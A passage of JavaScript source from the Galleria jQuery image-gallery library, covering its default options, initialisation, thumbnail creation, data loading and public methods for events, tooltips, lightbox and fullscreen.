'galleria', extend: function(options) {}, fullscreenCrop: undef, // 1.2.5 fullscreenDoubleTap: true, // 1.2.4 toggles fullscreen on double-tap for touch devices fullscreenTransition: undef, // 1.2.6 height: 0, idleMode: true, // 1.2.4 toggles idleMode idleTime: 3000, idleSpeed: 200, imageCrop: false, imageMargin: 0, imagePan: false, imagePanSmoothness: 12, imagePosition: '50%', imageTimeout: undef, // 1.2.5 initialTransition: undef, // 1.2.4, replaces transitionInitial keepSource: false, layerFollow: true, // 1.2.5 lightbox: false, // 1.2.3 lightboxFadeSpeed: 200, lightboxTransitionSpeed: 200, linkSourceImages: true, maxScaleRatio: undef, maxVideoSize: undef, // 1.2.9 minScaleRatio: undef, // deprecated in 1.2.9 overlayOpacity: 0.85, overlayBackground: '#0b0b0b', pauseOnInteraction: true, popupLinks: false, preload: 2, queue: true, responsive: true, show: 0, showInfo: true, showCounter: true, showImagenav: true, swipe: 'auto', // 1.2.4 -> revised in 1.3 -> changed type in 1.3.5 thumbCrop: true, thumbEventType: 'click:fast', thumbMargin: 0, thumbQuality: 'auto', thumbDisplayOrder: true, // 1.2.8 thumbPosition: '50%', // 1.3 thumbnails: true, touchTransition: undef, // 1.2.6 transition: 'fade', transitionInitial: undef, // legacy, deprecate in 1.3. Use initialTransition instead. transitionSpeed: 400, trueFullscreen: true, // 1.2.7 useCanvas: false, // 1.2.4 variation: '', // 1.3.2 videoPoster: true, // 1.3 vimeo: { title: 0, byline: 0, portrait: 0, color: 'aaaaaa' }, wait: 5000, // 1.2.7 width: 'auto', youtube: { modestbranding: 1, autohide: 1, color: 'white', hd: 1, rel: 0, showinfo: 0 } }; // legacy support for transitionInitial this._options.initialTransition = this._options.initialTransition || this._options.transitionInitial; // turn off debug if ( options && options.debug === false ) { DEBUG = false; } // set timeout if ( options && typeof options.imageTimeout === 'number' ) { TIMEOUT = options.imageTimeout; } // set dummy if ( options && typeof options.dummy === 'string' ) { DUMMY = options.dummy; } // hide all content $( this._target ).children().hide(); // Warn for quirks mode if ( Galleria.QUIRK ) { Galleria.raise('Your page is in Quirks mode, Galleria may not render correctly. Please validate your HTML and add a correct doctype.'); } // now we just have to wait for the theme... if ( typeof Galleria.theme === 'object' ) { this._init(); } else { // push the instance into the pool and run it when the theme is ready _pool.push( this ); } return this; }, // this method should only be called once per instance // for manipulation of data, use the .load method _init: function() { var self = this, options = this._options; if ( this._initialized ) { Galleria.raise( 'Init failed: Gallery instance already initialized.' ); return this; } this._initialized = true; if ( !Galleria.theme ) { Galleria.raise( 'Init failed: No theme found.', true ); return this; } // merge the theme & caller options $.extend( true, options, Galleria.theme.defaults, this._original.options, Galleria.configure.options ); // internally we use boolean for swipe options.swipe = (function(s) { if ( s == 'enforced' ) { return true; } // legacy patch if( s === false || s == 'disabled' ) { return false; } return !!Galleria.TOUCH; }( options.swipe )); // disable options that arent compatible with swipe if ( options.swipe ) { options.clicknext = false; options.imagePan = false; } // check for canvas support (function( can ) { if ( !( 'getContext' in can ) ) { can = null; return; } _canvas = _canvas || { elem: can, context: can.getContext( '2d' ), cache: {}, length: 0 }; }( doc.createElement( 'canvas' ) ) ); // bind the gallery to run when data is ready this.bind( Galleria.DATA, function() { // remove big if total pixels are less than 1024 (most phones) if ( window.screen && window.screen.width && Array.prototype.forEach ) { this._data.forEach(function(data) { var density = 'devicePixelRatio' in window ? window.devicePixelRatio : 1, m = M.max( window.screen.width, window.screen.height ); if ( m*density < 1024 ) { data.big = data.image; } }); } // save the new data this._original.data = this._data; // lets show the counter here this.get('total').innerHTML = this.getDataLength(); // cache the container var $container = this.$( 'container' ); // set ratio if height is < 2 if ( self._options.height < 2 ) { self._userRatio = self._ratio = self._options.height; } // the gallery is ready, let's just wait for the css var num = { width: 0, height: 0 }; var testHeight = function() { return self.$( 'stage' ).height(); }; // check container and thumbnail height Utils.wait({ until: function() { // keep trying to get the value num = self._getWH(); $container.width( num.width ).height( num.height ); return testHeight() && num.width && num.height > 50; }, success: function() { self._width = num.width; self._height = num.height; self._ratio = self._ratio || num.height/num.width; // for some strange reason, webkit needs a single setTimeout to play ball if ( Galleria.WEBKIT ) { window.setTimeout( function() { self._run(); }, 1); } else { self._run(); } }, error: function() { // Height was probably not set, raise hard errors if ( testHeight() ) { Galleria.raise('Could not extract sufficient width/height of the gallery container. Traced measures: width:' + num.width + 'px, height: ' + num.height + 'px.', true); } else { Galleria.raise('Could not extract a stage height from the CSS. Traced height: ' + testHeight() + 'px.', true); } }, timeout: typeof this._options.wait == 'number' ? this._options.wait : false }); }); // build the gallery frame this.append({ 'info-text' : ['info-title', 'info-description'], 'info' : ['info-text'], 'image-nav' : ['image-nav-right', 'image-nav-left'], 'stage' : ['images', 'loader', 'counter', 'image-nav'], 'thumbnails-list' : ['thumbnails'], 'thumbnails-container' : ['thumb-nav-left', 'thumbnails-list', 'thumb-nav-right'], 'container' : ['stage', 'thumbnails-container', 'info', 'tooltip'] }); Utils.hide( this.$( 'counter' ).append( this.get( 'current' ), doc.createTextNode(' / '), this.get( 'total' ) ) ); this.setCounter('&#8211;'); Utils.hide( self.get('tooltip') ); // add a notouch class on the container to prevent unwanted :hovers on touch devices this.$( 'container' ).addClass( ( Galleria.TOUCH ? 'touch' : 'notouch' ) + ' ' + this._options.variation ); // add images to the controls if ( !this._options.swipe ) { $.each( new Array(2), function( i ) { // create a new Picture instance var image = new Galleria.Picture(); // apply some styles, create & prepend overlay $( image.container ).css({ position: 'absolute', top: 0, left: 0 }).prepend( self._layers[i] = $( Utils.create('galleria-layer') ).css({ position: 'absolute', top:0, left:0, right:0, bottom:0, zIndex:2 })[0] ); // append the image self.$( 'images' ).append( image.container ); // reload the controls self._controls[i] = image; // build a frame var frame = new Galleria.Picture(); frame.isIframe = true; $( frame.container ).attr('class', 'galleria-frame').css({ position: 'absolute', top: 0, left: 0, zIndex: 4, background: '#000', display: 'none' }).appendTo( image.container ); self._controls.frames[i] = frame; }); } // some forced generic styling this.$( 'images' ).css({ position: 'relative', top: 0, left: 0, width: '100%', height: '100%' }); if ( options.swipe ) { this.$( 'images' ).css({ position: 'absolute', top: 0, left: 0, width: 0, height: '100%' }); this.finger = new Galleria.Finger(this.get('stage'), { onchange: function(page) { self.pause().show(page); }, oncomplete: function(page) { var index = M.max( 0, M.min( parseInt( page, 10 ), self.getDataLength() - 1 ) ), data = self.getData(index); $( self._thumbnails[ index ].container ) .addClass( 'active' ) .siblings( '.active' ) .removeClass( 'active' ); if ( !data ) { return; } // remove video iframes self.$( 'images' ).find( '.galleria-frame' ).css('opacity', 0).hide().find( 'iframe' ).remove(); if ( self._options.carousel && self._options.carouselFollow ) { self._carousel.follow( index ); } } }); this.bind( Galleria.RESCALE, function() { this.finger.setup(); }); this.$('stage').on('click', function(e) { var data = self.getData(); if ( !data ) { return; } if ( data.iframe ) { if ( self.isPlaying() ) { self.pause(); } var frame = self._controls.frames[ self._active ], w = self._stageWidth, h = self._stageHeight; if ( $( frame.container ).find( 'iframe' ).length ) { return; } $( frame.container ).css({ width: w, height: h, opacity: 0 }).show().animate({ opacity: 1 }, 200); window.setTimeout(function() { frame.load( data.iframe + ( data.video ? '&autoplay=1' : '' ), { width: w, height: h }, function( frame ) { self.$( 'container' ).addClass( 'videoplay' ); frame.scale({ width: self._stageWidth, height: self._stageHeight, iframelimit: data.video ? self._options.maxVideoSize : undef }); }); }, 100); return; } if ( data.link ) { if ( self._options.popupLinks ) { var win = window.open( data.link, '_blank' ); } else { window.location.href = data.link; } return; } }); this.bind( Galleria.IMAGE, function(e) { self.setCounter( e.index ); self.setInfo( e.index ); var next = this.getNext(), prev = this.getPrev(); var preloads = [prev,next]; preloads.push(this.getNext(next), this.getPrev(prev), self._controls.slides.length-1); var filtered = []; $.each(preloads, function(i, val) { if ( $.inArray(val, filtered) == -1 ) { filtered.push(val); } }); $.each(filtered, function(i, loadme) { var d = self.getData(loadme), img = self._controls.slides[loadme], src = self.isFullscreen() && d.big ? d.big : ( d.image || d.iframe ); if ( d.iframe && !d.image ) { img.isIframe = true; } if ( !img.ready ) { self._controls.slides[loadme].load(src, function(img) { if ( !img.isIframe ) { $(img.image).css('visibility', 'hidden'); } self._scaleImage(img, { complete: function(img) { if ( !img.isIframe ) { $(img.image).css({ opacity: 0, visibility: 'visible' }).animate({ opacity: 1 }, 200); } } }); }); } }); }); } this.$( 'thumbnails, thumbnails-list' ).css({ overflow: 'hidden', position: 'relative' }); // bind image navigation arrows this.$( 'image-nav-right, image-nav-left' ).on( 'click:fast', function(e) { // pause if options is set if ( options.pauseOnInteraction ) { self.pause(); } // navigate var fn = /right/.test( this.className ) ? 'next' : 'prev'; self[ fn ](); }).on('click', function(e) { e.preventDefault(); // tune the clicknext option if ( options.clicknext || options.swipe ) { e.stopPropagation(); } }); // hide controls if chosen to $.each( ['info','counter','image-nav'], function( i, el ) { if ( options[ 'show' + el.substr(0,1).toUpperCase() + el.substr(1).replace(/-/,'') ] === false ) { Utils.moveOut( self.get( el.toLowerCase() ) ); } }); // load up target content this.load(); // now it's usually safe to remove the content // IE will never stop loading if we remove it, so let's keep it hidden for IE (it's usually fast enough anyway) if ( !options.keepSource && !IE ) { this._target.innerHTML = ''; } // re-append the errors, if they happened before clearing if ( this.get( 'errors' ) ) { this.appendChild( 'target', 'errors' ); } // append the gallery frame this.appendChild( 'target', 'container' ); // parse the carousel on each thumb load if ( options.carousel ) { var count = 0, show = options.show; this.bind( Galleria.THUMBNAIL, function() { this.updateCarousel(); if ( ++count == this.getDataLength() && typeof show == 'number' && show > 0 ) { this._carousel.follow( show ); } }); } // bind window resize for responsiveness if ( options.responsive ) { $win.on( 'resize', function() { if ( !self.isFullscreen() ) { self.resize(); } }); } // double-tap/click fullscreen toggle if ( options.fullscreenDoubleTap ) { this.$( 'stage' ).on( 'touchstart', (function() { var last, cx, cy, lx, ly, now, getData = function(e) { return e.originalEvent.touches ? e.originalEvent.touches[0] : e; }; self.$( 'stage' ).on('touchmove', function() { last = 0; }); return function(e) { if( /(-left|-right)/.test(e.target.className) ) { return; } now = Utils.timestamp(); cx = getData(e).pageX; cy = getData(e).pageY; if ( e.originalEvent.touches.length < 2 && ( now - last < 300 ) && ( cx - lx < 20) && ( cy - ly < 20) ) { self.toggleFullscreen(); e.preventDefault(); return; } last = now; lx = cx; ly = cy; }; }())); } // bind the ons $.each( Galleria.on.binds, function(i, bind) { // check if already bound if ( $.inArray( bind.hash, self._binds ) == -1 ) { self.bind( bind.type, bind.callback ); } }); return this; }, addTimer : function() { this._timer.add.apply( this._timer, Utils.array( arguments ) ); return this; }, clearTimer : function() { this._timer.clear.apply( this._timer, Utils.array( arguments ) ); return this; }, // parse width & height from CSS or options _getWH : function() { var $container = this.$( 'container' ), $target = this.$( 'target' ), self = this, num = {}, arr; $.each(['width', 'height'], function( i, m ) { // first check if options is set if ( self._options[ m ] && typeof self._options[ m ] === 'number') { num[ m ] = self._options[ m ]; } else { arr = [ Utils.parseValue( $container.css( m ) ), // the container css height Utils.parseValue( $target.css( m ) ), // the target css height $container[ m ](), // the container jQuery method $target[ m ]() // the target jQuery method ]; // if first time, include the min-width & min-height if ( !self[ '_'+m ] ) { arr.splice(arr.length, Utils.parseValue( $container.css( 'min-'+m ) ), Utils.parseValue( $target.css( 'min-'+m ) ) ); } // else extract the measures from different sources and grab the highest value num[ m ] = M.max.apply( M, arr ); } }); // allow setting a height ratio instead of exact value // useful when doing responsive galleries if ( self._userRatio ) { num.height = num.width * self._userRatio; } return num; }, // Creates the thumbnails and carousel // can be used at any time, f.ex when the data object is manipulated // push is an optional argument with pushed images _createThumbnails : function( push ) { this.get( 'total' ).innerHTML = this.getDataLength(); var src, thumb, data, $container, self = this, o = this._options, i = push ? this._data.length - push.length : 0, chunk = i, thumbchunk = [], loadindex = 0, gif = IE < 8 ? 'http://upload.wikimedia.org/wikipedia/commons/c/c0/Blank.gif' : 'data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw%3D%3D', // get previously active thumbnail, if exists active = (function() { var a = self.$('thumbnails').find('.active'); if ( !a.length ) { return false; } return a.find('img').attr('src'); }()), // cache the thumbnail option optval = typeof o.thumbnails === 'string' ? o.thumbnails.toLowerCase() : null, // move some data into the instance // for some reason, jQuery cant handle css(property) when zooming in FF, breaking the gallery // so we resort to getComputedStyle for browsers who support it getStyle = function( prop ) { return doc.defaultView && doc.defaultView.getComputedStyle ? doc.defaultView.getComputedStyle( thumb.container, null )[ prop ] : $container.css( prop ); }, fake = function(image, index, container) { return function() { $( container ).append( image ); self.trigger({ type: Galleria.THUMBNAIL, thumbTarget: image, index: index, galleriaData: self.getData( index ) }); }; }, onThumbEvent = function( e ) { // pause if option is set if ( o.pauseOnInteraction ) { self.pause(); } // extract the index from the data var index = $( e.currentTarget ).data( 'index' ); if ( self.getIndex() !== index ) { self.show( index ); } e.preventDefault(); }, thumbComplete = function( thumb, callback ) { $( thumb.container ).css( 'visibility', 'visible' ); self.trigger({ type: Galleria.THUMBNAIL, thumbTarget: thumb.image, index: thumb.data.order, galleriaData: self.getData( thumb.data.order ) }); if ( typeof callback == 'function' ) { callback.call( self, thumb ); } }, onThumbLoad = function( thumb, callback ) { // scale when ready thumb.scale({ width: thumb.data.width, height: thumb.data.height, crop: o.thumbCrop, margin: o.thumbMargin, canvas: o.useCanvas, position: o.thumbPosition, complete: function( thumb ) { // shrink thumbnails to fit var top = ['left', 'top'], arr = ['Width', 'Height'], m, css, data = self.getData( thumb.index ); // calculate shrinked positions $.each(arr, function( i, measure ) { m = measure.toLowerCase(); if ( (o.thumbCrop !== true || o.thumbCrop === m ) ) { css = {}; css[ m ] = thumb[ m ]; $( thumb.container ).css( css ); css = {}; css[ top[ i ] ] = 0; $( thumb.image ).css( css ); } // cache outer measures thumb[ 'outer' + measure ] = $( thumb.container )[ 'outer' + measure ]( true ); }); // set high quality if downscale is moderate Utils.toggleQuality( thumb.image, o.thumbQuality === true || ( o.thumbQuality === 'auto' && thumb.original.width < thumb.width * 3 ) ); if ( o.thumbDisplayOrder && !thumb.lazy ) { $.each( thumbchunk, function( i, th ) { if ( i === loadindex && th.ready && !th.displayed ) { loadindex++; th.displayed = true; thumbComplete( th, callback ); return; } }); } else { thumbComplete( thumb, callback ); } } }); }; if ( !push ) { this._thumbnails = []; this.$( 'thumbnails' ).empty(); } // loop through data and create thumbnails for( ; this._data[ i ]; i++ ) { data = this._data[ i ]; // get source from thumb or image src = data.thumb || data.image; if ( ( o.thumbnails === true || optval == 'lazy' ) && ( data.thumb || data.image ) ) { // add a new Picture instance thumb = new Galleria.Picture(i); // save the index thumb.index = i; // flag displayed thumb.displayed = false; // flag lazy thumb.lazy = false; // flag video thumb.video = false; // append the thumbnail this.$( 'thumbnails' ).append( thumb.container ); // cache the container $container = $( thumb.container ); // hide it $container.css( 'visibility', 'hidden' ); thumb.data = { width : Utils.parseValue( getStyle( 'width' ) ), height : Utils.parseValue( getStyle( 'height' ) ), order : i, src : src }; // grab & reset size for smoother thumbnail loads if ( o.thumbCrop !== true ) { $container.css( { width: 'auto', height: 'auto' } ); } else { $container.css( { width: thumb.data.width, height: thumb.data.height } ); } // load the thumbnail if ( optval == 'lazy' ) { $container.addClass( 'lazy' ); thumb.lazy = true; thumb.load( gif, { height: thumb.data.height, width: thumb.data.width }); } else { thumb.load( src, onThumbLoad ); } // preload all images here if ( o.preload === 'all' ) { thumb.preload( data.image ); } // create empty spans if thumbnails is set to 'empty' } else if ( data.iframe || optval === 'empty' || optval === 'numbers' ) { thumb = { container: Utils.create( 'galleria-image' ), image: Utils.create( 'img', 'span' ), ready: true, data: { order: i } }; // create numbered thumbnails if ( optval === 'numbers' ) { $( thumb.image ).text( i + 1 ); } if ( data.iframe ) { $( thumb.image ).addClass( 'iframe' ); } this.$( 'thumbnails' ).append( thumb.container ); // we need to "fake" a loading delay before we append and trigger // 50+ should be enough window.setTimeout( ( fake )( thumb.image, i, thumb.container ), 50 + ( i*20 ) ); // create null object to silent errors } else { thumb = { container: null, image: null }; } // add events for thumbnails // you can control the event type using thumb_event_type // we'll add the same event to the source if it's kept $( thumb.container ).add( o.keepSource && o.linkSourceImages ? data.original : null ) .data('index', i).on( o.thumbEventType, onThumbEvent ) .data('thumbload', onThumbLoad); if (active === src) { $( thumb.container ).addClass( 'active' ); } this._thumbnails.push( thumb ); } thumbchunk = this._thumbnails.slice( chunk ); return this; }, /** Lazy-loads thumbnails. You can call this method to load lazy thumbnails at run time @param {Array|Number} index Index or array of indexes of thumbnails to be loaded @param {Function} complete Callback that is called when all lazy thumbnails have been loaded @returns Instance */ lazyLoad: function( index, complete ) { var arr = index.constructor == Array ? index : [ index ], self = this, loaded = 0; $.each( arr, function(i, ind) { if ( ind > self._thumbnails.length - 1 ) { return; } var thumb = self._thumbnails[ ind ], data = thumb.data, callback = function() { if ( ++loaded == arr.length && typeof complete == 'function' ) { complete.call( self ); } }, thumbload = $( thumb.container ).data( 'thumbload' ); if ( thumb.video ) { thumbload.call( self, thumb, callback ); } else { thumb.load( data.src , function( thumb ) { thumbload.call( self, thumb, callback ); }); } }); return this; }, /** Lazy-loads thumbnails in chunks. This method automatcally chops up the loading process of many thumbnails into chunks @param {Number} size Size of each chunk to be loaded @param {Number} [delay] Delay between each loads @returns Instance */ lazyLoadChunks: function( size, delay ) { var len = this.getDataLength(), i = 0, n = 0, arr = [], temp = [], self = this; delay = delay || 0; for( ; i<len; i++ ) { temp.push(i); if ( ++n == size || i == len-1 ) { arr.push( temp ); n = 0; temp = []; } } var init = function( wait ) { var a = arr.shift(); if ( a ) { window.setTimeout(function() { self.lazyLoad(a, function() { init( true ); }); }, ( delay && wait ) ? delay : 0 ); } }; init( false ); return this; }, // the internal _run method should be called after loading data into galleria // makes sure the gallery has proper measurements before postrun & ready _run : function() { var self = this; self._createThumbnails(); // make sure we have a stageHeight && stageWidth Utils.wait({ timeout: 10000, until: function() { // Opera crap if ( Galleria.OPERA ) { self.$( 'stage' ).css( 'display', 'inline-block' ); } self._stageWidth = self.$( 'stage' ).width(); self._stageHeight = self.$( 'stage' ).height(); return( self._stageWidth && self._stageHeight > 50 ); // what is an acceptable height? }, success: function() { // save the instance _galleries.push( self ); // postrun some stuff after the gallery is ready // create the touch slider if ( self._options.swipe ) { var $images = self.$( 'images' ).width( self.getDataLength() * self._stageWidth ); $.each( new Array( self.getDataLength() ), function(i) { var image = new Galleria.Picture(), data = self.getData(i); $( image.container ).css({ position: 'absolute', top: 0, left: self._stageWidth*i }).prepend( self._layers[i] = $( Utils.create('galleria-layer') ).css({ position: 'absolute', top:0, left:0, right:0, bottom:0, zIndex:2 })[0] ).appendTo( $images ); if( data.video ) { _playIcon( image.container ); } self._controls.slides.push(image); var frame = new Galleria.Picture(); frame.isIframe = true; $( frame.container ).attr('class', 'galleria-frame').css({ position: 'absolute', top: 0, left: 0, zIndex: 4, background: '#000', display: 'none' }).appendTo( image.container ); self._controls.frames.push(frame); }); self.finger.setup(); } // show counter Utils.show( self.get('counter') ); // bind carousel nav if ( self._options.carousel ) { self._carousel.bindControls(); } // start autoplay if ( self._options.autoplay ) { self.pause(); if ( typeof self._options.autoplay === 'number' ) { self._playtime = self._options.autoplay; } self._playing = true; } // if second load, just do the show and return if ( self._firstrun ) { if ( self._options.autoplay ) { self.trigger( Galleria.PLAY ); } if ( typeof self._options.show === 'number' ) { self.show( self._options.show ); } return; } self._firstrun = true; // initialize the History plugin if ( Galleria.History ) { // bind the show method Galleria.History.change(function( value ) { // if ID is NaN, the user pressed back from the first image // return to previous address if ( isNaN( value ) ) { window.history.go(-1); // else show the image } else { self.show( value, undef, true ); } }); } self.trigger( Galleria.READY ); // call the theme init method Galleria.theme.init.call( self, self._options ); // Trigger Galleria.ready $.each( Galleria.ready.callbacks, function(i ,fn) { if ( typeof fn == 'function' ) { fn.call( self, self._options ); } }); // call the extend option self._options.extend.call( self, self._options ); // show the initial image // first test for permalinks in history if ( /^[0-9]{1,4}$/.test( HASH ) && Galleria.History ) { self.show( HASH, undef, true ); } else if( self._data[ self._options.show ] ) { self.show( self._options.show ); } // play trigger if ( self._options.autoplay ) { self.trigger( Galleria.PLAY ); } }, error: function() { Galleria.raise('Stage width or height is too small to show the gallery. Traced measures: width:' + self._stageWidth + 'px, height: ' + self._stageHeight + 'px.', true); } }); }, /** Loads data into the gallery. You can call this method on an existing gallery to reload the gallery with new data. @param {Array|string} [source] Optional JSON array of data or selector of where to find data in the document. Defaults to the Galleria target or dataSource option. @param {string} [selector] Optional element selector of what elements to parse. Defaults to 'img'. @param {Function} [config] Optional function to modify the data extraction proceedure from the selector. See the dataConfig option for more information. @returns Instance */ load : function( source, selector, config ) { var self = this, o = this._options; // empty the data array this._data = []; // empty the thumbnails this._thumbnails = []; this.$('thumbnails').empty(); // shorten the arguments if ( typeof selector === 'function' ) { config = selector; selector = null; } // use the source set by target source = source || o.dataSource; // use selector set by option selector = selector || o.dataSelector; // use the dataConfig set by option config = config || o.dataConfig; // if source is a true object, make it into an array if( $.isPlainObject( source ) ) { source = [source]; } // check if the data is an array already if ( $.isArray( source ) ) { if ( this.validate( source ) ) { this._data = source; } else { Galleria.raise( 'Load failed: JSON Array not valid.' ); } } else { // add .video and .iframe to the selector (1.2.7) selector += ',.video,.iframe'; // loop through images and set data $( source ).find( selector ).each( function( i, elem ) { elem = $( elem ); var data = {}, parent = elem.parent(), href = parent.attr( 'href' ), rel = parent.attr( 'rel' ); if( href && ( elem[0].nodeName == 'IMG' || elem.hasClass('video') ) && _videoTest( href ) ) { data.video = href; } else if( href && elem.hasClass('iframe') ) { data.iframe = href; } else { data.image = data.big = href; } if ( rel ) { data.big = rel; } // alternative extraction from HTML5 data attribute, added in 1.2.7 $.each( 'big title description link layer image'.split(' '), function( i, val ) { if ( elem.data(val) ) { data[ val ] = elem.data(val).toString(); } }); if ( !data.big ) { data.big = data.image; } // mix default extractions with the hrefs and config // and push it into the data array self._data.push( $.extend({ title: elem.attr('title') || '', thumb: elem.attr('src'), image: elem.attr('src'), big: elem.attr('src'), description: elem.attr('alt') || '', link: elem.attr('longdesc'), original: elem.get(0) // saved as a reference }, data, config( elem ) ) ); }); } if ( typeof o.dataSort == 'function' ) { protoArray.sort.call( this._data, o.dataSort ); } else if ( o.dataSort == 'random' ) { this._data.sort( function() { return M.round(M.random())-0.5; }); } // trigger the DATA event and return if ( this.getDataLength() ) { this._parseData( function() { this.trigger( Galleria.DATA ); } ); } return this; }, // make sure the data works properly _parseData : function( callback ) { var self = this, current, ready = false, onload = function() { var complete = true; $.each( self._data, function( i, data ) { if ( data.loading ) { complete = false; return false; } }); if ( complete && !ready ) { ready = true; callback.call( self ); } }; $.each( this._data, function( i, data ) { current = self._data[ i ]; // copy image as thumb if no thumb exists if ( 'thumb' in data === false ) { current.thumb = data.image; } // copy image as big image if no biggie exists if ( !data.big ) { current.big = data.image; } // parse video if ( 'video' in data ) { var result = _videoTest( data.video ); if ( result ) { current.iframe = new Video(result.provider, result.id ).embed() + (function() { // add options if ( typeof self._options[ result.provider ] == 'object' ) { var str = '?', arr = []; $.each( self._options[ result.provider ], function( key, val ) { arr.push( key + '=' + val ); }); // small youtube specifics, perhaps move to _video later if ( result.provider == 'youtube' ) { arr = ['wmode=opaque'].concat(arr); } return str + arr.join('&'); } return ''; }()); // pre-fetch video providers media if( !current.thumb || !current.image ) { $.each( ['thumb', 'image'], function( i, type ) { if ( type == 'image' && !self._options.videoPoster ) { current.image = undef; return; } var video = new Video( result.provider, result.id ); if ( !current[ type ] ) { current.loading = true; video.getMedia( type, (function(current, type) { return function(src) { current[ type ] = src; if ( type == 'image' && !current.big ) { current.big = current.image; } delete current.loading; onload(); }; }( current, type ))); } }); } } } }); onload(); return this; }, /** Destroy the Galleria instance and recover the original content @example this.destroy(); @returns Instance */ destroy : function() { this.$( 'target' ).data( 'galleria', null ); this.$( 'container' ).off( 'galleria' ); this.get( 'target' ).innerHTML = this._original.html; this.clearTimer(); Utils.removeFromArray( _instances, this ); Utils.removeFromArray( _galleries, this ); if ( Galleria._waiters.length ) { $.each( Galleria._waiters, function( i, w ) { if ( w ) window.clearTimeout( w ); }); } return this; }, /** Adds and/or removes images from the gallery Works just like Array.splice https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/splice @example this.splice( 2, 4 ); // removes 4 images after the second image @returns Instance */ splice : function() { var self = this, args = Utils.array( arguments ); window.setTimeout(function() { protoArray.splice.apply( self._data, args ); self._parseData( function() { self._createThumbnails(); }); },2); return self; }, /** Append images to the gallery Works just like Array.push https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/push @example this.push({ image: 'image1.jpg' }); // appends the image to the gallery @returns Instance */ push : function() { var self = this, args = Utils.array( arguments ); if ( args.length == 1 && args[0].constructor == Array ) { args = args[0]; } window.setTimeout(function() { protoArray.push.apply( self._data, args ); self._parseData( function() { self._createThumbnails( args ); }); }, 2); return self; }, _getActive : function() { return this._controls.getActive(); }, validate : function( data ) { // todo: validate a custom data array return true; }, /** Bind any event to Galleria @param {string} type The Event type to listen for @param {Function} fn The function to execute when the event is triggered @example this.bind( 'image', function() { Galleria.log('image shown') }); @returns Instance */ bind : function(type, fn) { // allow 'image' instead of Galleria.IMAGE type = _patchEvent( type ); this.$( 'container' ).on( type, this.proxy(fn) ); return this; }, /** Unbind any event to Galleria @param {string} type The Event type to forget @returns Instance */ unbind : function(type) { type = _patchEvent( type ); this.$( 'container' ).off( type ); return this; }, /** Manually trigger a Galleria event @param {string} type The Event to trigger @returns Instance */ trigger : function( type ) { type = typeof type === 'object' ? $.extend( type, { scope: this } ) : { type: _patchEvent( type ), scope: this }; this.$( 'container' ).trigger( type ); return this; }, /** Assign an "idle state" to any element. The idle state will be applied after a certain amount of idle time Useful to hide f.ex navigation when the gallery is inactive @param {HTMLElement|string} elem The Dom node or selector to apply the idle state to @param {Object} styles the CSS styles to apply when in idle mode @param {Object} [from] the CSS styles to apply when in normal @param {Boolean} [hide] set to true if you want to hide it first @example addIdleState( this.get('image-nav'), { opacity: 0 }); @example addIdleState( '.galleria-image-nav', { top: -200 }, true); @returns Instance */ addIdleState: function( elem, styles, from, hide ) { this._idle.add.apply( this._idle, Utils.array( arguments ) ); return this; }, /** Removes any idle state previously set using addIdleState() @param {HTMLElement|string} elem The Dom node or selector to remove the idle state from. @returns Instance */ removeIdleState: function( elem ) { this._idle.remove.apply( this._idle, Utils.array( arguments ) ); return this; }, /** Force Galleria to enter idle mode. @returns Instance */ enterIdleMode: function() { this._idle.hide(); return this; }, /** Force Galleria to exit idle mode. @returns Instance */ exitIdleMode: function() { this._idle.showAll(); return this; }, /** Enter FullScreen mode @param {Function} callback the function to be executed when the fullscreen mode is fully applied. @returns Instance */ enterFullscreen: function( callback ) { this._fullscreen.enter.apply( this, Utils.array( arguments ) ); return this; }, /** Exits FullScreen mode @param {Function} callback the function to be executed when the fullscreen mode is fully applied. @returns Instance */ exitFullscreen: function( callback ) { this._fullscreen.exit.apply( this, Utils.array( arguments ) ); return this; }, /** Toggle FullScreen mode @param {Function} callback the function to be executed when the fullscreen mode is fully applied or removed. @returns Instance */ toggleFullscreen: function( callback ) { this._fullscreen[ this.isFullscreen() ? 'exit' : 'enter'].apply( this, Utils.array( arguments ) ); return this; }, /** Adds a tooltip to any element. You can also call this method with an object as argument with elemID:value pairs to apply tooltips to (see examples) @param {HTMLElement} elem The DOM Node to attach the event to @param {string|Function} value The tooltip message. Can also be a function that returns a string. @example this.bindTooltip( this.get('thumbnails'), 'My thumbnails'); @example this.bindTooltip( this.get('thumbnails'), function() { return 'My thumbs' }); @example this.bindTooltip( { image_nav: 'Navigation' }); @returns Instance */ bindTooltip: function( elem, value ) { this._tooltip.bind.apply( this._tooltip, Utils.array(arguments) ); return this; }, /** Note: this method is deprecated. Use refreshTooltip() instead. Redefine a tooltip. Use this if you want to re-apply a tooltip value to an already bound tooltip element. @param {HTMLElement} elem The DOM Node to attach the event to @param {string|Function} value The tooltip message. Can also be a function that returns a string. @returns Instance */ defineTooltip: function( elem, value ) { this._tooltip.define.apply( this._tooltip, Utils.array(arguments) ); return this; }, /** Refresh a tooltip value. Use this if you want to change the tooltip value at runtime, f.ex if you have a play/pause toggle. @param {HTMLElement} elem The DOM Node that has a tooltip that should be refreshed @returns Instance */ refreshTooltip: function( elem ) { this._tooltip.show.apply( this._tooltip, Utils.array(arguments) ); return this; }, /** Open a pre-designed lightbox with the currently active image. You can control some visuals using gallery options. @returns Instance */ openLightbox: function() { this._lightbox.show.apply( this._lightbox, Utils.array( arguments ) ); return this; }, /** Close the lightbox. @returns Instance */ closeLightbox: function() { this._lightbox.hide.apply( this._lightbox, Utils.array( arguments ) ); return this; }, /** Check if a variation exists @returns {Boolean} If the variation has been applied */ hasVariation: function( variation ) { return $.inArray( variation, this._options.variation.split(/\s+/) ) > -1; }, /** Get the currently active image element. @returns {HTMLElement} The image element */ getActiveImage: function() { var active = this._getActive(); return active ? active.image : undef; }, /** Get the currently active thumbnail element. @returns {HTMLElement} The thumbnail element */ getActiveThumb: function() { return this._thumbnails[ this._active ].image || undef; }, /** Get the mouse position relative to the gallery container @param e The mouse event @example var gallery = this; $(document).mousemove(function(e) { console.log( gallery.getMousePosition(e).x ); }); @returns {Object} Object with x & y of the relative mouse postion */ getMousePosition : function(e) { return { x: e.pageX - this.$( 'container' ).offset().left, y: e.pageY - this.$( 'container' ).offset().top }; }, /** Adds a panning effect to the image @param [img] The optional image element. If not specified it takes the currently active image @returns Instance */ addPan : function( img ) { if ( this._options.imageCrop === false ) { return; } img = $( img || this.getActiveImage() ); // define some variables and methods var self = this, x = img.width() / 2, y = img.height() / 2, destX = 